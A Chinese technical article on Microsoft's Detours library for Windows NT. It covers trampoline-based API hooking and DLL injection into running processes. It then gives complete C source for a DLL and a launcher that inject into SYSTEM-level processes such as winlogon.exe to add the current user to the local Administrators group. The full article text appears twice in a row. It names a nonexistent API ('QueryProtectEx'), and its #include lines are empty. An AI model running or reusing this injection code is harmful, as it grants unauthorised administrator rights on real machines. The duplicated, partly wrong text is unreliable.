用DETOURS库获取NT管理员权限
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陈志敏
---- Detours是微软开发的一个函数库（源代码可在http://research.microsoft.com/sn/detours 免费获得）, 用于修改运行中的程序在内存中的影像，从而即使没有源代码也能改变程序的行为。具体用途是：
拦截WIN32 API调用，将其引导到自己的子程序，从而实现WIN32 API的定制。
为一个已在运行的进程创建一新线程，装入自己的代码并运行。
---- 本文将简介Detours的原理，Detours库函数的用法， 并利用Detours库函数在Windows NT上编写了一个程序，该程序能使有“调试程序”的用户权限的用户成为系统管理员，附录利用Detours库函数修改该程序使普通用户即可成为系统管理员（在NT4 SP3上）。
一． Detours的原理
---- 1． WIN32进程的内存管理
---- 总所周知，WINDOWS NT实现了虚拟存储器，每一WIN32进程拥有4GB的虚存空间， 关于WIN32进程的虚存结构及其操作的具体细节请参阅WIN32 API手册， 以下仅指出与Detours相关的几点：
---- (1) 进程要执行的指令也放在虚存空间中
---- (2) 可以使用QueryProtectEx函数把存放指令的页面的权限更改为可读可写可执行，再改写其内容，从而修改正在运行的程序
---- (3) 可以使用VirtualAllocEx从一个进程为另一正运行的进程分配虚存，再使用 QueryProtectEx函数把页面的权限更改为可读可写可执行，并把要执行的指令以二进制机器码的形式写入，从而为一个正在运行的进程注入任意的代码
---- 2． 拦截WIN32 API的原理
---- Detours定义了三个概念：
---- (1) Target函数：要拦截的函数，通常为Windows的API。
---- (2) Trampoline函数：Target函数的复制品。因为Detours将会改写Target函数，所以先把Target函数复制保存好，一方面仍然保存Target函数的过程调用语义，另一方面便于以后的恢复。
---- (3) Detour 函数：用来替代Target函数的函数。
---- Detours在Target函数的开头加入JMP Address_of_ Detour_ Function指令（共5个字节）把对Target函数的调用引导到自己的Detour函数， 把Target函数的开头的5个字节加上JMP Address_of_ Target _ Function+5作为Trampoline函数。例子如下：
拦截前：Target _ Function：
；Target函数入口，以下为假想的常见的子程序入口代码
push ebp
mov ebp, esp
push eax
push ebx
Trampoline:
；以下是Target函数的继续部分
……
拦截后： Target _ Function：
jmp Detour_Function
Trampoline:
；以下是Target函数的继续部分
……
Trampoline_Function:
; Trampoline函数入口, 开头的5个字节与Target函数相同
push ebp
mov ebp, esp
push eax
push ebx
；跳回去继续执行Target函数
jmp Target_Function+5
---- 3． 为一个已在运行的进程装入一个DLL
---- 以下是其步骤：
---- (1) 创建一个ThreadFuction，内容仅是调用LoadLibrary。
---- (2) 用VirtualAllocEx为一个已在运行的进程分配一片虚存，并把权限更改为可读可写可执行。
---- (3) 把ThreadFuction的二进制机器码写入这片虚存。
---- (4) 用CreateRemoteThread在该进程上创建一个线程，传入前面分配的虚存的起始地址作为线程函数的地址，即可为一个已在运行的进程装入一个DLL。通过DllMain 即可在一个已在运行的进程中运行自己的代码。
二． Detours库函数的用法
---- 因为Detours软件包并没有附带帮助文件，以下接口仅从剖析源代码得出。
---- 1． PBYTE WINAPI DetourFindFunction(PCHAR pszModule, PCHAR pszFunction)
---- 功能：从一DLL中找出一函数的入口地址
---- 参数：pszModule是DLL名，pszFunction是函数名。
---- 返回：名为pszModule的DLL的名为pszFunction的函数的入口地址
---- 说明：DetourFindFunction除使用GetProcAddress外，还直接分析DLL的文件头，因此可以找到一些GetProcAddress找不到的函数入口。
---- 2． DETOUR_TRAMPOLINE(trampoline_prototype, target_name)
---- 功能：该宏把名为target_name 的Target函数生成Trampoline函数，以后调用 trampoline_prototype在语义上等于调用Target函数。
---- 3． BOOL WINAPI DetourFunctionWithTrampoline(PBYTE pbTrampoline, BYTE pbDetour)
---- 功能：用Detour 函数拦截Target函数
---- 参数：pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype，pbDetour是 Detour 函数的入口地址。
---- 4． BOOL WINAPI DetourRemoveWithTrampoline(PBYTE pbTrampoline,PBYTE pbDetour)
---- 功能：恢复Target函数
---- 参数：pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype，pbDetour是 Detour 函数的入口地址。
---- 5． BOOL WINAPI ContinueProcessWithDll(HANDLE hProcess, LPCSTR lpDllName)
---- 功能：为一个已在运行的进程装入一个DLL
---- 参数：hProcess是进程的句柄，lpDllName是要装入的DLL名
三． 程序实例
---- 以一个能使有“调试程序”的用户权限的用户成为系统管理员的程序做例子说明Detours 库函数的用法。程序的设计思路是找一个以System帐号运行的进程，如spoolss.exe, rpcss.exe, winlogon.exe, service.exe等，使用ContinueProcessWithDll在其中注入把当前用户加入到 Administrators本地组的DLL，因为该DLL在这些进程的安全上下文环境运行，所以有相应的权限。
---- 先编写相应的DLL：
/*admin.dll, 当进程装入时会把名为szAccountName
的用户加入到Administrators本地组。*/
#include
#include
#include
#include
/*以下创建一共享段实现进程间的数据通讯，
szAccountName 是用户名，bPrepared说明
szAccountName是否已初始化。*/
#pragma data_seg(".MYSHARE")
BOOL bPrepared=FALSE;
wchar_t szAccountName[100]={0};
#pragma data_seg()
#pragma comment(linker, "/SECTION:.MYSHARE,RWS")
/*程序调用SetAccountName设置要加入到Administrators
本地组的用户名，并通知DllMain
已初始化szAccountName ，
以后被装入时可调用ElevatePriv */
__declspec(dllexport) VOID WINAPI
SetAccountName(wchar_t *Name)
{
wcscpy(szAccountName,Name);
bPrepared=TRUE;
}
/*把名为szAccountName的用户加入
到Administrators本地组*/
__declspec(dllexport) VOID WINAPI ElevatePriv()
{
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname=szAccountName;
NetLocalGroupAddMembers(NULL,L"Administrators",
3,(LPBYTE)&account,1);
}
__declspec(dllexport) ULONG WINAPI
DllMain(HINSTANCE hInstance,
DWORD dwReason, PVOID lpReserved)
{
switch (dwReason) {
case DLL_THREAD_ATTACH:
if (bPrepared)
ElevatePriv();
}
return TRUE;
}
程序如下：
/*AddMeToAdministrators.exe 把当前用户加入到
Administrators本地组。使用方法为：（1）
---- 运行任务管理器找到spoolss.exe或rpcss.exe或winlogon.exe或sevice.exe的进程ID （2）执行AddMeToAdministrators.exe procid, 其中procid为（1）记下的进程ID （3）签退再签到，运行用户管理器，即可发现自己已在Administrators本地组中。*/
#include
#include
#include
#include
#include
extern VOID WINAPI SetAccountName(wchar_t *Name);
/* GetCurrentUser得到自己的用户名称*/
void GetCurrentUser(wchar_t *szName)
{
HANDLE hProcess, hAccessToken;
wchar_t InfoBuffer[1000],szAccountName[200],
szDomainName[200];
PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
DWORD dwInfoBufferSize,dwAccountSize = 200,
dwDomainSize = 200;
SID_NAME_USE snu;
hProcess = GetCurrentProcess();
OpenProcessToken(hProcess,TOKEN_READ,&hAccessToken);
GetTokenInformation(hAccessToken,TokenUser,
InfoBuffer,
1000, &dwInfoBufferSize);
LookupAccountSid(NULL, pTokenUser->User.Sid,
szAccountName,
&dwAccountSize,szDomainName, &dwDomainSize, &snu);
wcscpy(szName,szDomainName);
wcscat(szName,L"\\");
wcscat(szName,szAccountName);
}
/* EnablePrivilege启用自己的“调试程序”的用户权限*/
BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable)
{
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES, &hToken))
return FALSE;
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, szPrivName,
&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ?
SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp,
sizeof(tp), NULL, NULL);
return((GetLastError() == ERROR_SUCCESS));
}
int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev,
LPSTR lpszCmdLine, int
nCmdShow)
{
INT argc;
WCHAR **argv;
argv = CommandLineToArgvW(GetCommandLineW(),
&argc);
INT nProcessId = -1;
if (argc!=2){
wprintf(L"usage %s pid", argv[0]);
return 1;
}
nProcessId = _wtoi(argv[1]);
printf("%d\n",nProcessId);
---- /*要成功执行ContinueProcessWithDll，要对winlogon.exe等进程的进程句柄有读写存储器内容和创建线程的权限，EnablePrivilege使本进程有这样的权利。*/
if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)){
printf("AdjustTokenPrivilege Fail %u\n",
(UINT)GetLastError());
return 1;
}
HANDLE gNewHandle =
OpenProcess(PROCESS_ALL_ACCESS
, TRUE, nProcessId);
if (!gNewHandle){
printf("OpenProcess Fail %u\n",
(UINT)GetLastError());
return 1;
}
wchar_t szName[100];
GetCurrentUser(szName);
SetAccountName(szName);
If (!ContinueProcessWithDll(gNewHandle,
L"c:\\temp\\admin.dll")) {
printf("ContinueProcessWithDll failed %u",
(UINT)GetLastError());
return 3;
}
return 0;
}
---- 因为“调试程序”的用户权限缺省情况下仅赋予给管理员，因此并不会造成安全漏洞。但该程序揭示出“调试程序”的用户权限其实是至高无上的用户权限，只能授予给可信用户。
四． 结论 ---- Detours是一强大的工具，提供了简单易用的函数接口来拦截WIN32 API调用和为一个已在运行的进程装入一个DLL。
---- Detours是微软开发的一个函数库（源代码可在http://research.microsoft.com/sn/detours 免费获得）, 用于修改运行中的程序在内存中的影像，从而即使没有源代码也能改变程序的行为。具体用途是：
拦截WIN32 API调用，将其引导到自己的子程序，从而实现WIN32 API的定制。
为一个已在运行的进程创建一新线程，装入自己的代码并运行。
---- 本文将简介Detours的原理，Detours库函数的用法， 并利用Detours库函数在Windows NT上编写了一个程序，该程序能使有“调试程序”的用户权限的用户成为系统管理员，附录利用Detours库函数修改该程序使普通用户即可成为系统管理员（在NT4 SP3上）。
一． Detours的原理
---- 1． WIN32进程的内存管理
---- 总所周知，WINDOWS NT实现了虚拟存储器，每一WIN32进程拥有4GB的虚存空间， 关于WIN32进程的虚存结构及其操作的具体细节请参阅WIN32 API手册， 以下仅指出与Detours相关的几点：
---- (1) 进程要执行的指令也放在虚存空间中
---- (2) 可以使用QueryProtectEx函数把存放指令的页面的权限更改为可读可写可执行，再改写其内容，从而修改正在运行的程序
---- (3) 可以使用VirtualAllocEx从一个进程为另一正运行的进程分配虚存，再使用 QueryProtectEx函数把页面的权限更改为可读可写可执行，并把要执行的指令以二进制机器码的形式写入，从而为一个正在运行的进程注入任意的代码
---- 2． 拦截WIN32 API的原理
---- Detours定义了三个概念：
---- (1) Target函数：要拦截的函数，通常为Windows的API。
---- (2) Trampoline函数：Target函数的复制品。因为Detours将会改写Target函数，所以先把Target函数复制保存好，一方面仍然保存Target函数的过程调用语义，另一方面便于以后的恢复。
---- (3) Detour 函数：用来替代Target函数的函数。
---- Detours在Target函数的开头加入JMP Address_of_ Detour_ Function指令（共5个字节）把对Target函数的调用引导到自己的Detour函数， 把Target函数的开头的5个字节加上JMP Address_of_ Target _ Function+5作为Trampoline函数。例子如下：
拦截前：Target _ Function：
；Target函数入口，以下为假想的常见的子程序入口代码
push ebp
mov ebp, esp
push eax
push ebx
Trampoline:
；以下是Target函数的继续部分
……
拦截后： Target _ Function：
jmp Detour_Function
Trampoline:
；以下是Target函数的继续部分
……
Trampoline_Function:
; Trampoline函数入口, 开头的5个字节与Target函数相同
push ebp
mov ebp, esp
push eax
push ebx
；跳回去继续执行Target函数
jmp Target_Function+5
---- 3． 为一个已在运行的进程装入一个DLL
---- 以下是其步骤：
---- (1) 创建一个ThreadFuction，内容仅是调用LoadLibrary。
---- (2) 用VirtualAllocEx为一个已在运行的进程分配一片虚存，并把权限更改为可读可写可执行。
---- (3) 把ThreadFuction的二进制机器码写入这片虚存。
---- (4) 用CreateRemoteThread在该进程上创建一个线程，传入前面分配的虚存的起始地址作为线程函数的地址，即可为一个已在运行的进程装入一个DLL。通过DllMain 即可在一个已在运行的进程中运行自己的代码。
二． Detours库函数的用法
---- 因为Detours软件包并没有附带帮助文件，以下接口仅从剖析源代码得出。
---- 1． PBYTE WINAPI DetourFindFunction(PCHAR pszModule, PCHAR pszFunction)
---- 功能：从一DLL中找出一函数的入口地址
---- 参数：pszModule是DLL名，pszFunction是函数名。
---- 返回：名为pszModule的DLL的名为pszFunction的函数的入口地址
---- 说明：DetourFindFunction除使用GetProcAddress外，还直接分析DLL的文件头，因此可以找到一些GetProcAddress找不到的函数入口。
---- 2． DETOUR_TRAMPOLINE(trampoline_prototype, target_name)
---- 功能：该宏把名为target_name 的Target函数生成Trampoline函数，以后调用 trampoline_prototype在语义上等于调用Target函数。
---- 3． BOOL WINAPI DetourFunctionWithTrampoline(PBYTE pbTrampoline, BYTE pbDetour)
---- 功能：用Detour 函数拦截Target函数
---- 参数：pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype，pbDetour是 Detour 函数的入口地址。
---- 4． BOOL WINAPI DetourRemoveWithTrampoline(PBYTE pbTrampoline,PBYTE pbDetour)
---- 功能：恢复Target函数
---- 参数：pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype，pbDetour是 Detour 函数的入口地址。
---- 5． BOOL WINAPI ContinueProcessWithDll(HANDLE hProcess, LPCSTR lpDllName)
---- 功能：为一个已在运行的进程装入一个DLL
---- 参数：hProcess是进程的句柄，lpDllName是要装入的DLL名
三． 程序实例
---- 以一个能使有“调试程序”的用户权限的用户成为系统管理员的程序做例子说明Detours 库函数的用法。程序的设计思路是找一个以System帐号运行的进程，如spoolss.exe, rpcss.exe, winlogon.exe, service.exe等，使用ContinueProcessWithDll在其中注入把当前用户加入到 Administrators本地组的DLL，因为该DLL在这些进程的安全上下文环境运行，所以有相应的权限。
---- 先编写相应的DLL：
/*admin.dll, 当进程装入时会把名为szAccountName
的用户加入到Administrators本地组。*/
#include
#include
#include
#include
/*以下创建一共享段实现进程间的数据通讯，
szAccountName 是用户名，bPrepared说明
szAccountName是否已初始化。*/
#pragma data_seg(".MYSHARE")
BOOL bPrepared=FALSE;
wchar_t szAccountName[100]={0};
#pragma data_seg()
#pragma comment(linker, "/SECTION:.MYSHARE,RWS")
/*程序调用SetAccountName设置要加入到Administrators
本地组的用户名，并通知DllMain
已初始化szAccountName ，
以后被装入时可调用ElevatePriv */
__declspec(dllexport) VOID WINAPI
SetAccountName(wchar_t *Name)
{
wcscpy(szAccountName,Name);
bPrepared=TRUE;
}
/*把名为szAccountName的用户加入
到Administrators本地组*/
__declspec(dllexport) VOID WINAPI ElevatePriv()
{
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname=szAccountName;
NetLocalGroupAddMembers(NULL,L"Administrators",
3,(LPBYTE)&account,1);
}
__declspec(dllexport) ULONG WINAPI
DllMain(HINSTANCE hInstance,
DWORD dwReason, PVOID lpReserved)
{
switch (dwReason) {
case DLL_THREAD_ATTACH:
if (bPrepared)
ElevatePriv();
}
return TRUE;
}
程序如下：
/*AddMeToAdministrators.exe 把当前用户加入到
Administrators本地组。使用方法为：（1）
---- 运行任务管理器找到spoolss.exe或rpcss.exe或winlogon.exe或sevice.exe的进程ID （2）执行AddMeToAdministrators.exe procid, 其中procid为（1）记下的进程ID （3）签退再签到，运行用户管理器，即可发现自己已在Administrators本地组中。*/
#include
#include
#include
#include
#include
extern VOID WINAPI SetAccountName(wchar_t *Name);
/* GetCurrentUser得到自己的用户名称*/
void GetCurrentUser(wchar_t *szName)
{
HANDLE hProcess, hAccessToken;
wchar_t InfoBuffer[1000],szAccountName[200],
szDomainName[200];
PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
DWORD dwInfoBufferSize,dwAccountSize = 200,
dwDomainSize = 200;
SID_NAME_USE snu;
hProcess = GetCurrentProcess();
OpenProcessToken(hProcess,TOKEN_READ,&hAccessToken);
GetTokenInformation(hAccessToken,TokenUser,
InfoBuffer,
1000, &dwInfoBufferSize);
LookupAccountSid(NULL, pTokenUser->User.Sid,
szAccountName,
&dwAccountSize,szDomainName, &dwDomainSize, &snu);
wcscpy(szName,szDomainName);
wcscat(szName,L"\\");
wcscat(szName,szAccountName);
}
/* EnablePrivilege启用自己的“调试程序”的用户权限*/
BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable)
{
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES, &hToken))
return FALSE;
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, szPrivName,
&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ?
SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp,
sizeof(tp), NULL, NULL);
return((GetLastError() == ERROR_SUCCESS));
}
int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev,
LPSTR lpszCmdLine, int
nCmdShow)
{
INT argc;
WCHAR **argv;
argv = CommandLineToArgvW(GetCommandLineW(),
&argc);
INT nProcessId = -1;
if (argc!=2){
wprintf(L"usage %s pid", argv[0]);
return 1;
}
nProcessId = _wtoi(argv[1]);
printf("%d\n",nProcessId);
---- /*要成功执行ContinueProcessWithDll，要对winlogon.exe等进程的进程句柄有读写存储器内容和创建线程的权限，EnablePrivilege使本进程有这样的权利。*/
if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)){
printf("AdjustTokenPrivilege Fail %u\n",
(UINT)GetLastError());
return 1;
}
HANDLE gNewHandle =
OpenProcess(PROCESS_ALL_ACCESS
, TRUE, nProcessId);
if (!gNewHandle){
printf("OpenProcess Fail %u\n",
(UINT)GetLastError());
return 1;
}
wchar_t szName[100];
GetCurrentUser(szName);
SetAccountName(szName);
If (!ContinueProcessWithDll(gNewHandle,
L"c:\\temp\\admin.dll")) {
printf("ContinueProcessWithDll failed %u",
(UINT)GetLastError());
return 3;
}
return 0;
}
---- 因为“调试程序”的用户权限缺省情况下仅赋予给管理员，因此并不会造成安全漏洞。但该程序揭示出“调试程序”的用户权限其实是至高无上的用户权限，只能授予给可信用户。
四． 结论 ---- Detours是一强大的工具，提供了简单易用的函数接口来拦截WIN32 API调用和为一个已在运行的进程装入一个DLL。
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